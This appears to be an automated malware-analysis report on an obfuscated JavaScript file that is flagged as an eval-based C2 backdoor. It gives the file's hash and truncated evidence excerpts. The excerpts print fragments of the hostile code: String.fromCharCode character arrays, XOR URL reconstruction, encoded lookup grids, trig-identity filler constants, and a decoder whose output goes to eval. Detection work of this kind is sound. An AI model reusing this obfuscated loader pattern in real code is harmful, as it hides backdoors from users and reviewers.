Suspicious ^80% javascript-malware-collection Download

20151217_71e731582220966642df5457d95079a8.js

obfuscated eval C2 backdoor

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256310411ab0feb05fd0f7321f47136c5233a0187e61e30ca072008f30b3f89dc4a

Evidence

Builds characters with String.fromCharCode line 2

2:162… '9','w','6','8','Y','2','_','X','f',',','g','<','^','V','E','K',String.fromCharCode(10),'`','[','s',';','Y','T','!','6','g','"','$','<',String.fromCharCode(13),'I','>','n','/','Z','w','`','#','B','x','B','{','8' …

XOR URL reconstruction call line 2

2:1854… '-','.',')','Y','T','7','Z','?','9','[','z','y','U','X','4',';',String.fromCharCode(92),'0','j','>','(',']','O','F','=','u',']','/','^',']','s','_','8','d','v','F','3','v','`','a','@','3','>','+','v','`','-','b','0','F','c','^','"','x','N','!','d','?','#','e','Y','p',']','-','R','T','e','f','L','B','g','a','1','[','r','f','h','+','^','i','^','V','6','E …

Calls JavaScript toString conversion method lines 4–10

4:44… RrqRPz){CwDB=BKuPoKFtMcQPxKQdM(TaamrrwKTqy,xYEdXgGVcoGBW);LXSfI=CwDB.toString(TLRrqRPz);return LXSfI;}
5function RCKoNSxsrHoHtRV(mFvYuNEKHHPknKtcQ,YIZqtkgeFUtdsyzRKbbQhbDvtnNIcDHBgQ,rWhcRUrnbTmqFktzGUgOZExwRxyejXDwebt){eval(mFvYuNEKHHPknKtcQ);}
6function ZjTBJzegWTmYHsfFYcBMAZkEIilYVZZAcvDMhUHbYQmteupqjhVAMM(fyNCbmIGSYADx,pkdkKuovhEegoS){ return CMFFySq[WsPyZBkH[KAjal(fyNCbmIGSYADx[pkdkKuovhEegoS],(6475+833)/261,(2592+848)/344)]];}
7function Ygdzncq(ulMApmkajwfBKFHsCaVEJKfDfOBWBjjGKLeK) {return !oyItzRWofHs(RnuwWuGoiXPoJVr(ulMApmkajwfBKFHsCaVEJKfDfOBWBjjGKLeK)) && cROIxFQwAPLx(ulMApmkajwfBKFHsCaVEJKfDfOBWBjjGKLeK);}
8function oyItzRWofHs(HcuDtWMNaklzxC) {return isNaN(HcuDtWMNaklzxC);}
9function cROIxFQwAPLx(OBWYRaqTpAItE) {return isFinite(OBWYRaqTpAItE);}
10function BKuPoKFtMcQPxKQdM(gGfzEhjX …

Dense indexed short-token grid lines 12–13

12:33… fVgQYig,DyDehsmWwwz) {HQzsWouhwficXT[XWiZePfVgQYig]=DyDehsmWwwz;}
13var D = new Array();D[0]=[];D[0][0]='d';D[0][1]='a';D[0][2]='d';D[0][3]='a';D[0][4]='46';D[0][5]='3d';D[0][6]='42';D[0][7]='14';D[0][8]='2c';D[0][9]='14';D[0][10]='25';D[0][11]='14';D[0][12]='16';D[0][13]='47';D[0][14]='3k';D[0][15]='3d';D[0][16]='44';D[0][17]='3g';D[0][18]='3l';D[0][19]='3g';D[0][20]='49';D[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],D[4],D[5]];
20var yTETjgJqc=[];
21function nCJglVpVsFknVohQf(Vyplx){lmQLTnowrKU= '';jkORYYTsZdU=Math.round((Math.pow(Math.sin(153), 2) + Math.pow(Math.cos(153), 2) - 1));while(true){if (jkORYYTsZdU >= (563+481)/174){break;}yTETjgJqc[jkORYYTsZdU]=Math.round((Math.pow(Math.sin(702), 2) + Math.pow(Math.cos(702), 2) - 1)); while(true) { if(yTETjgJqc[jkORYYTsZdU] > Vyplx[jkORYYTsZdU].length-(789+157)/946) { break; } if (Ygdzncq(KAjal(Vyplx[jkORYYTsZdU][yTETjgJqc[jkORYYTsZdU]],(25202+278)/910,(1968+282)/225))) {lmQLTnowrKU += ZjTBJzegWTmYHsfFYcBMAZkEIilYVZZAcvDMhUHbYQmteupqjhVAMM([Vyplx[jkORYYTsZdU][yTETjgJqc[jkORYYTsZdU]]], Math.round((Math.pow(Math.sin(534), 2) + Math.pow(Math.cos(534), 2) - 1)));} yTETjgJqc[jkORYYTsZdU]++;}jkORYYTsZdU++;} return lmQLTnowrKU}
22var YVfXvZKFyDqKHgmWEBdKCKCfHIxWVAjAj = 'KMSnHLhzPyxwBUJPVewJklZTpdhKusTzTenF';var eGRvihpkRKmmqgLSPHgCESZboNjHtwOz = 'FIZcvbXpRDqqoJEVkPxslyogcgcjTLJHtYWP';RCKoNSxsrHoHtRV(nCJglVpVsFknVohQf(Vyplx),YVfXvZKFyDqKHgmWEBdKCKCfHIxWVAjAj,eGRvihpkRKmmqgLSPHgCESZboNjHtwOz);